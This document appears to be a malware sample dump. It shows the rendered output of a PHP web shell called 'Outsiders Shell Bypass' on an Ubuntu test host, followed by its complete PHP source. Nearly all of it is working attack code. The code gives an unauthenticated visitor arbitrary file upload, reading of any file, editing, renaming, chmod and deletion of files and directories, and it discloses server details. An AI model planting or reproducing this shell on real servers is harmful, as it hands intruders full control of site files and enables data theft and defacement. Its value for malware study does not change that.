<i class="fa fa-hdd-o"></i> </font></td><td>: <font color="lime">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</font></td></tr></tbody></table><table width="95%" border="0" cellpadding="0" cellspacing="0" align="center">
<tbody><tr align="center"><td align="center"><br><i class="fa fa-folder-o"></i> : <a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/<br><br><br><font color="lime"></font><form enctype="multipart/form-data" method="POST"><font color="lime">
Upload File: <input type="file" name="file" style="color:lime;border:2px solid lime;" required=""></font>
<input type="submit" value="UPLOAD" style="margin-top:4px;width:100px;height:27px;font-family:Kelly Slab;font-size:15;background:black;color: lime;border:2px solid lime;border-radius:5px"></form></td></tr></tbody></table><br><center></center><div id="content"><table width="95%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr class="first">
<th><center>Name</center></th>
<th><center>Size</center></th>
<th><center>Perm</center></th>
<th><center>Options</center></th>
</tr>
<tr></tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
<td class="td_home"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII="><a href="?filesrc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html"> beneri.se_malware_analysis</a></td>
<td class="td_home"><center>0 KB</center></td>
<td class="td_home"><center>-rw-r--r--</center></td>
<td class="td_home"><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt" style="margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px">
<option value="Action">Action</option>
<option value="delete">Delete</option>
<option value="edit">Edit</option>
<option value="rename">Rename</option>
<option value="chmod">Chmod</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" value=">" style="margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px">
</form></center></td>
</tr><tr>
<td class="td_home"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII="><a href="?filesrc=/var/www/html/osd.php&amp;path=/var/www/html"> osd.php</a></td>
<td class="td_home"><center>11.85 KB</center></td>
<td class="td_home"><center>-rw-rw-r--</center></td>
<td class="td_home"><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt" style="margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px">
<option value="Action">Action</option>
<option value="delete">Delete</option>
<option value="edit">Edit</option>
<option value="rename">Rename</option>
<option value="chmod">Chmod</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="osd.php">
<input type="hidden" name="path" value="/var/www/html/osd.php">
<input type="submit" value=">" style="margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px">
</form></center></td>
</tr></tbody></table>
</div>

</center></body></html>

Original PHP code

<?php
error_reporting(0); 
session_start();

if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}

echo '<!DOCTYPE HTML>
<link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css">
<link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"/>
<center>
<style type="text/css">
body {
	font-family: Kelly Slab;
	background-color: black;
	color: lime;
	}
#content tr:hover{
	background-color: grey;
	text-shadow:0px 0px 10px #000000;
	}
#content .first{
	color: #000000;
	background-image:url(#);
	}
#content .first:hover{
	background-color: grey;
	text-shadow:0px 0px 1px #339900;
	}
table, th, td {
		border-collapse:collapse;
		padding: 5px;
		color: lime;
		}
.table_home, .th_home, .td_home { 
		color: lime;
		border: 2px solid grey;
		padding: 7px;
		}
a{
	font-size: 19px;
	color: #00ff00;
	text-decoration: none;
	}
a:hover{
	color: white;
	text-shadow:0px 0px 10px #339900;
	}
input,select,textarea{
	border: 1px #ffffff solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
	}
.close {
	overflow: auto;
	border: 1px solid lime;
	background: lime;
	color: white;
	}
.r {
	float: right;
	text-align: right;
	}
</style>
<a href="?"><h1 style="font-family: Kelly Slab; font-size: 35px; color: white;">
./Outsiders Shell Bypass </h1></a>
<BODY>

<table width="95%" border="0" cellpadding="0" cellspacing="0" align="left">
<tr><td>';
echo "<tr><td><font color='white'>
<i class='fa fa-user'></i> <td>: <font color='lime'>".$_SERVER['REMOTE_ADDR']."<tr><td><font color='white'>
<i class='fa fa-desktop'></i> <td>: <font color='lime'>".gethostbyname($_SERVER['HTTP_HOST'])." / ".$_SERVER['SERVER_NAME']."<tr><td><font color='white'>
<i class='fa fa-hdd-o'></i> <td>: <font color='lime'>".php_uname()."</font></tr></td></table>";

echo '<table width="95%" border="0" cellpadding="0" cellspacing="0" align="center">
<tr align="center"><td align="center"><br>';

if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<i class="fa fa-folder-o"></i> : <a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}


//upload
echo '<br><br><br><font color="lime"><form enctype="multipart/form-data" method="POST">
Upload File: <input type="file" name="file" style="color:lime;border:2px solid lime;" required/></font>
<input type="submit" value="UPLOAD" style="margin-top:4px;width:100px;height:27px;font-family:Kelly Slab;font-size:15;background:black;color: lime;border:2px solid lime;border-radius:5px"/>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<br><br><font color="lime">UPLOAD SUCCES !!!!</font><br/>';
}else{
echo '<script>alert("File Gagal Diupload !!")</script>';
}
}

echo '</form></td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td>files >> ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo(' <textarea  style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1200px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';

//Chmod
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<br><br><font color="lime">CHANGE PERMISSION SUCCESS !!</font><br/>';
}else{
echo '<script>alert("Change Permission Gagal !!")</script>';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" style="width:80px; height: 30px;"/>
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Lanjut" style="width:60px; height: 30px;"/>
</form>';
}

//rename folder
elseif($_GET['opt'] == 'btw'){
	$cwd = getcwd();
	 echo '<form action="?option&path='.$cwd.'&opt=delete&type=buat" method="POST">
New Name : <input name="name" type="text" size="25" value="Folder" style="width:300px; height: 30px;"/>
<input type="hidden" name="path" value="'.$cwd.'">
<input type="hidden" name="opt" value="delete">
<input type="submit" value="Go" style="width:100px; height: 30px;"/>
</form>';
}

//rename file
elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<br><br><font color="lime">CHANGE NAME SUCCESS !!</font><br/>';
}else{
echo '<script>alert("Change Name Gagal !!")</script>';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="5" style="width:20%; height:30px;" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Lanjut" style="height:30px;" />
</form>';
}

//edit file
elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<br><br><font color="lime">EDIT FILE SUCCESS !!</font><br/>';
}else{
echo '<script>alert("Edit File Gagal !!")</script>';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src" style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1000px;">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Lanjut" style="height:30px; width:70px;"/>
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';

//delete dir
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<br><br><font color="lime">DELETE DIR SUCCESS !!</font><br/>';
}else{
echo '<script>alert("Delete Dir Gagal !!")</script>>';
}
}

//delete file
elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<br><br><font color="lime">DELETE FILE SUCCESS !!</font><br/>';
}else{
echo '<script>alert("Delete File Gagal !!")</script>';
}
}
}

?>
<?php
echo '</center>';
$scandir = scandir($path);
$pa = getcwd();
echo '<div id="content"><table width="95%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<th><center>Name</center></th>
<th><center>Size</center></th>
<th><center>Perm</center></th>
<th><center>Options</center></th>
</tr>
<tr>';

foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<tr>
<td class=td_home><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='><a href=\"?path=$path/$dir\"> $dir</a></td>
<td class=td_home><center>DIR</center></td>
<td class=td_home><center>";
if(is_writable("$path/$dir")) echo '<font color="#57FF00">';
elseif(!is_readable("$path/$dir")) echo '<font color="#FF0004">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';

echo "</center></td>
<td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
<option value=\"Action\">Action</option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
</form></center></td>
</tr>";
}

echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}

echo "<tr>
<td class=td_home><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href=\"?filesrc=$path/$file&path=$path\"> $file</a></td>
<td class=td_home><center>".$size."</center></td>
<td class=td_home><center>";
if(is_writable("$path/$file")) echo '<font color="#57FF00">';
elseif(!is_readable("$path/$file")) echo '<font color="#FF0004">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';

echo "</center></td>
<td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
<option value=\"Action\">Action</option>
<option value=\"delete\">Delete</option>
<option value=\"edit\">Edit</option>
<option value=\"rename\">Rename</option>
<option value=\"chmod\">Chmod</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
</form></center></td>
</tr>";
}

echo '</table>
</div>';
}

function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
?>
</BODY>
</HTML>